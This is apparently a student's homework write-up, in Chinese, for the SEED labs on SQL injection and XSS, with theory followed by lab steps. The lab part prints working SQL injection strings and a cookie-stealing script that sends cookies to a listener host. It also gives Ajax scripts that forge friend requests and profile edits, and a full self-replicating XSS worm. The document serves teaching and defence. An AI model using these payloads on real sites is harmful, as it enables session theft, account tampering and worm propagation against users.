20199307 2019-2020-2 《网络攻防实践》第十一周作业
问题 | 源 |
---|---|
作业所属课程 | 网络攻防实践 |
作业要求 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737 |
课程目标 | 了解网络攻防的概要 |
这个作业在哪个具体方面帮助我实现目标 | 学习和了解sql注入攻击与xss攻击 |
作业正文.... | 见后文 |
参考资料 | 见后文 |
Web应用程序安全攻防
一、实践内容
1.1Web应用程序体系结构及其安全威胁
1.1.1Web应用体系结构
-
Web应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。
-
Web应用程序与浏览器的完美配合造就了B/S (浏览器/服务器)计算结构,虽然从体系结构上与传统的C/S(客户端/服务器)计算结构没有很大改变,但大大提升了部署和应用的便捷性,有效促进了Web应用,乃至整个互联网的飞速发展。
-
服务器负责完成主要业务的计算处理;与浏览器之间通过因特网或内联网上
HTTP/HTTPS
应用层协议的请求与应答进行通信。服务器端由Web服务器软件、Web应用程序及后端数据库构成,并通过经典的三层架构(three-tiers)即表示层、业务逻辑层和数据层,来进行组织与构建。
- 浏览器:标准的Web客户端就是我们所熟知的浏览器,如IE、Firefox、Chrome 等,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。
- Web服务器:Web服务器软件通常被简单地描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。
- Web应用程序:现代Web应用的核心是处于服务器端的业务逻辑,即Web应用程序,虽然嵌入在浏览器中执行的客户端逻辑(如JavaScript代码、Flash/Java 等对象)也逐渐地变得更加普遍和重要。虽然有很多种不同的Web应用程序多层结构,最普遍应用的是三层(3-tiers) 体系结构,由表示层、业务逻辑层和数据层组成。
- 表示层:接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成。
- 业务逻辑层从:表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层,业务逻辑层是Web应用程序的核心,其实现方式包括早期的CGI脚本程序,或目前流行的ASP、ASP.NET、PHP等动态脚本语言程序
- 数据层:以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新。
- 数据库:数据库有时也被称为“后台”,是Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层。在Web应用中流行的数据库管理软件包括微软的MS SQLServer、Oracle和开源的MySQL等,这些数据库管理系统支持统一的数据库查询语言SQL。
- 传输协议HTTP/HTTPS:浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。
1.1.2Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing网站钓鱼等。
- 针对传输网络的网络协议安全威胁:例如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
- 系统层安全威胁:Web站点的宿主操作系统,如Windows Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。
- Web服务器软件安全威胁:Web服务器软件如IIS、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
- Web应用程序安全威胁:程序员在使用ASP、PHP等脚本编程语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。
1.2Web应用安全攻防技术概述
1.2.1 Web应用的信息收集
-
与系统和网络攻击类似,针对Web应用的攻击也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址,Web服务器端口与其他开放服务,Web站点类型和版本,Web应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。
-
针对Web应用程序的探测和漏洞发现所涉及到的一些技术方法:
-
手工审查Web应用程序结构与源代码:在攻击者面对一个目标Web应用程序时,往往他们要做的第一件事情就是手工地浏览Web应用的各个页面、菜单、目录,并查看关键页面的源代码,在攻击者看似随意的站点浏览过程中,事实上他们已经在开始收集目标Web应用程序如下的各种不同类型的信息:
- 静态和动态生成的页面:Web站点上的静态HTML页面一般不会遭受注入攻击,但其HTML源文件可能包含一些有价值的隐藏和注释信息;动态页面则更会引起攻击者的关注,他们会探查所使用的脚本编程语言(如ASP、PHP、JSP),页面命名规则,以及参数名称、类型与含义等。
- 目录结构:Web服务器上的存储目录结构也是攻击者关注的信息,攻击者不会局限于利用浏览器及站点的导航链接来进行访问,他们会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查,来查看这些目录是否存在,以及是否由于不安全的配置可以进行目录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。
- 辅助性文件:如CSS级联样式表、XML样式表、JavaScript文件、include文件等,通常用于格式化HTML页面以适应流行浏览器的不同要求,或者执行客户端的输入验证。手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息。
- 输入表单:表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单(如处理用户登录的表单)的位置,并可以深入地了解页面表单的各方面信息,包括提交数据的方法(使用GET还是POST来提交数据? )、表单处理行为(调用什么脚本?使用何种脚本语言?)、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等,在了解这些关键信息之后,攻击者可能针对某些表单构造自动口令探测或者注入攻击的请求,尝试绕过表单正常处理过程,获得进一步访问权。
- 查询参数字符串:从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。
-
自动下载与镜像Web站点页面:逐个手工地审查分析Web站点页面源代码往往是很烦琐且低效的,一些自动下载与镜像Web站点页面的工具能够提升这一工作的自动化程度。下面列举一些工具:
- Linux系统:lynx(一个基于文本的浏览器,提供快速浏览站点的方法)、wget等
- Windows系统:
TelePort Pro Offline Explorer
等功能强大的Web站点镜像软件
-
使用Google Hacking技术审查与探测Web应用程序:Google Hacking技术特指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
-
Web应用程序安全评估与漏洞探测:在获得目标Web站点应用程序入口点、源代码和一些关键信息之后,渗透测试人员还通常会对目标应用程序的各个主要功能做一次深入的研究和评估,最终目的是为了透彻理解目标应用程序的体系结构和设计思路,找出可能存在的薄弱环节,最后再循序渐进地总结出针对这个Web应用程序的详细攻击步骤。经常借助Web应用安全辅助分析工具来评估Web应用程序的安全性并找出攻击漏洞点,有如下三种重要类型:
- 浏览器插件:一些面向Web应用程序分析、调试和安全检查的浏览器插件能够支持你在浏览网站时,实时地查看和修改传递给远端Web服务器的数据,这些插件在你尝试找出Web应用程序的结构和功能的探索阶段中能够发挥重要作用,在验证阶段确认Web应用程序的安全漏洞也具有难以估计的用处。
- 免费工具集:安全社区也提供了一些开源或免费的Web应用安全评估工具集,它们较浏览器插件往往具有更强大的功能。有如下三类工具集:
- 这类工具以Web服务器与客户端之间的代理方式运行,如微软开发的Fiddler、OWASP团队的WebScarab、Burp Suite、Paros Proxy和SPIKE Proxy等。
- 这类工具结合爬虫技术对目标Web站点进行源码爬取、分析与评估探测,发现其中包含的安全漏洞,如古老经典的由著名黑客rain forest puppy所开发的Whisker与Libwhisker库,Chris Sillo所开发的以Perl 脚本插件方式实现的命令行工具Nikto (运行效果如图11-4所示),以及能够检查30000多种HTTP安全问题的N-Stealth工具等。最后一类Web安全评估工具更确切
- 这类Web安全评估工具更确切地说应该是黑客攻击工具,如国内流行的注入工具NBSI、HDSI、Domain等,这类工具同样也可以由防御方用于尽早发现自己维护Web站点中存在的注入漏洞。
- 商业Web应用安全评估系统和漏洞扫描器
-
1.2.2攻击Web服务器软件
- Web服务器平台中的安全漏洞主要分为如下几大类:
- 数据驱动的远程代码执行安全漏洞
- 服务器功能拓展模块漏洞
- 样本文件安全漏洞
- 原代码泄露
- 资源解析攻击
1.2.3攻击Web应用程序
- 针对认证机制的攻击
- 针对授权机制的攻击
- 客户端攻击
- 命令执行攻击
- 信息泄露
- 逻辑攻击
1.2.4攻击web数据内容
- 安全敏感数据泄露
- 网站篡改
- 不良信息内容上传
1.2.5Web应用安全防范措施
- web站点网络传输安全设防措施
- Web站点操作系统及安全设防措施
- web应用程序安全设防措施
- web站点数据安全设防措施
1.3SQL注入
1.3.1SQL注入攻击原理
-
SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。没有对于输入进行严格的类型判断,如未判断输入参数是否合法整数类型等,从而使得用户可以输入并执行一些非预期的SQL指令代码。
-
SQL注入攻击的原理是向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
-
另外一类常见的SQL注入漏洞是由于不正确的类型处理,没有对用户输入参数进行类型约束的检查,比如一个在SQL语句中使用的整数型字段用户输入,而恶意用户则输入了一个非整数类型的字符串,就有可能导致最终的SQL语句按照恶意用户的攻击目的执行注入指令代码。
1.3.2SQL注入攻击步骤和过程
- 发现注入点
- 判断后台数据库类型
- 后台能数据库中管理员用户口令字猜测
- 上传ASP后门,得到默认账户权限
- 本地权限提升
- 利用数据库扩展存储过程执行shell命令
1.3.3注入攻击防范措施
-
大多数的SQL注入攻击都是利用Web应用程序中对用户输入没有进行严格的转义字符过滤和类型检查的安全漏洞,因此对SQL注入攻击的防范措施主要依靠对用户输入中特殊字符严格的输入验证机制,及对输入参数类型与长度的严格检查与限制机制。
-
防范SQL注入攻击需注意如下几个方面:
- 使用类型安全的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
1.4XSS跨站脚本攻击
1.4.1XSS攻击技术原理
-
XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的Web论坛、博客、留言本及其他允许用户交互的Web应用程序中,用户提交内容中可以包含
HTML
、JavaScript
及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。 -
攻击者可以利用Web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生出一些恶意攻击页面。当其他用户访问这些网页时,他们使用的客户端浏览器就会对下载并执行这些网页中的恶意客户端脚本,进行解析与执行,从而遭受攻击。
-
攻击方式包括绕过客户端安全策略访问敏感信息,窃取或修改会话
Cookie
、进行客户端渗透攻击获取访问权等。
1.4.2XSS攻击类型
-
持久性XSS攻击:持久性XSS漏洞是危害最为严重的XSS漏洞,它通常出现于一.些可以将用户输入持久性地保存在Web服务器端,并在一些“正常”页面中持续性地显示,从而能够影响所有访问这些页面的其他用户,因此该类XSS漏洞也被称作存储性(stored) XSS漏洞。
-
非持久性攻击(XSS反射型攻击):是比较普遍的类型,当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞。
1.4.3XSS攻击防范措施
-
输入验证:如果Web应用程序在某个位置收到的用户提交数据将来有可能被复制到响应页面中,Web应用程序应根据这种情形对这些数据执行尽可能严格的验证与过滤。
-
输出净化:如果Web应用程序将用户提交数据复制到响应页面中,那么Web应用程序应对这些数据进行HTML编码,以净化可能的恶意字符。
-
清除危险的输入点:web应用程序页面中有一些位置,在这里插入用户提交的输入就会造成极大的风险,因此,开发者应力求寻找其他方法执行必要的功能。
二、实践过程
2.1实践一:SQL注入实验
任务一:熟悉sql语句
步骤一:使用指令sudo service apache2 start
来启动apache
服,然后使用指令mysql -uroot -p
登录数据库(密码为seedubuntu),截图如下:
步骤二:使用指令use Users
和show tables
来查看数据库中存在的表,截图如下:
步骤三:使用指令select * from credential
来查询credential
表,截图如下:
任务二:对SELECT语句的攻击
步骤一:在浏览器中进入网址www.seedlabsqlinjection.com
,截图如下:
步骤二:在浏览器中按f12开启调试器,并输入随意的账号密码,能看到与之相关联的文件是unsafe_home.php
,截图如下:
步骤三:我们找到该文件所在位置是在var/www/SQLInjection
目录下,使用vi打开查看代码,从$input_uname = sha1($input_pwd);
可以看到数据库表中存储的Password是输入密码通过sha1之后的哈希值
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$input_uname = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
步骤四:观察代码,我们知道符号#
是注释的意思,所以账号输入admin'#
就可以注释掉密码验证的部分,截图如下:
步骤五:要想看到注入结果,通过指令curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin'%23
来进行查看,截图如下:
步骤六:通过sql注入来修改信息,在账号文本框内输入admin';update cerdential set address='China' where name='Alice' #
,但是修改失败,提示不允许调用多条语句,截图如下:
任务三:对UPDATE的攻击
步骤一:类似任务二,在账户文本框内输入Alice '#
来进行登录,截图如下:
步骤二:在Alice profile中的NickName文本框输入', salary='666666' where EID='10000';#
来修改Alice的工资,截图如下:
步骤三:利用同样的原理,只需要改变name检索值就可以更改其他人的工资了,这里以用户samy为例,依旧在NickName文本框输入', salary='520' where name='Samy';#
,截图如下:
步骤四:要想修改其他用户的密码,由于我们知道这里的密码是经过sha1加密过的,我们先获取一个随意密码对应的sha1值,使用指令echo -n '20199307'|sha1sum
来获取密码20199307
对应的sha1值,截图如下:
步骤五:依旧在Alice的NickName文本框输入', password='步骤四获取的sha1值' where name='Samy';#
,这样就成功修改了密码,接下来使用这个密码登录进行验证,结果表明我们成功修改了密码,截图如下:
任务四:对抗SQL注入
步骤一:上面的实践之所以我们能成功进行sql注入,是因为它没有进行预编译,导致系统将用户数据和sql指令混淆,才给攻击者创造了机会。我们在var/www/SQLInjection
,能看到文件safe_home.php
和safe_edit_backend.php
,通过命名可以得知这是采取了安全措施处理过的文件,使用vi查看该文件能确定这是经过预编译的,截图如下:
步骤二:使用这个与编译版本的safe_home.php
来登录,在浏览器输入网址www.seedlabsqlinjection.com/safe_home.php?username=admin'#&Password=
,发现之前的方法已经不行了,截图如下:
步骤三:同理,浏览器输入www.seedlabsqlinjection.com/safe_edit_backend.php?NickName='%2Csalary%3D100%23
,发现并没有改变工资,只是单纯的改变了Nickname的值,截图如下:
2.2实践二、XSS 攻击实验
实践准备:这里列出credential
表中用户的一些关键信息:
用户账号 | 用户密码 |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
charlie | seedcharlie |
samy | seedsamy |
任务一:弹窗显示信息
步骤一:打开本实践所用到的站点www.xsslabelgg.com
,并使用上面列出的账号密码登录alice的账号,截图如下:
步骤二:打开alice的个人信息编辑页面,在Brief description
中插入我们的XSS攻击代码<script> alert('xss');</script>
,来显示提示框,截图如下:
步骤三:点击save,就能看到简单的xss攻击成功,截图如下:
步骤四:在Brief description
中插入我们的XSS攻击代码<script> alert(document.cookie);</script>
,可以看到一个包含自己cookie信息的弹窗,截图如下:
任务二:窃取受害者的cookies
步骤一:使用nc工具来监听端口,使用指令nc -l 6666 -v
,截图如下:
步骤二:在上述Brief description
的地方填写<script>document.write('<img src=http://192.168.200.4:8888?c='+escape(document.cookie) + ' >');</script>
,并save,截图如下:
步骤三:在终端观察,此时就能从8888端口看到cookie信息了,截图如下:
任务三:成为受害者的朋友
步骤一:使用网址www.xsslabelgg.com/profile/boby
来进入boby的主页,添加Boby为好友,按f12可以看到通过post的方式传送了三个参数,分别是__elgg_token
,__elgg_ts
和friend
,截图如下:
步骤二:将下面的JS脚本填入Alice个人信息的About me中,然后Alice账户,登录Boby账户,访问Alice主页,然后返回自己的主页,发现已经添加了Alice为好友,过程截图如下:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
任务三:修改别人的信息
步骤一:类似任务二,按f12可以看到修改个人信息都发送了什么数据,截图如下:
步骤二:根据以上的信息,构造如下的JS脚本,然后将该脚本写到Alice的About me中。然后登陆Boby账户,访问Alice主页然后回到Boby主页,发现个人信息已改变。截图如下:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
任务四:编写XSS蠕虫代码
步骤一:构造代码,并将这段蠕虫代码放到Alice的About me中,然后登录Boby的用户访问Alice的主页,再登录samy的用户访问Boby的主页,可以看到samy也被感染了。代码及截图如下:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
任务五:对抗XSS攻击
回答:可以使用elgg的安全插件HTMLawed禁止部分代码块的执行让蠕虫攻击失效。
三、学习中遇到的问题及解决
问题1:好久没接触sql语言了,一开始不能出现表的内容。
问题1解决方案:着实低级错误,要在语句后面加;
四、实践总结
本章的学习让我回忆起来好多本科知识,对sql注入和xss攻击也有了新的认识,收获不错。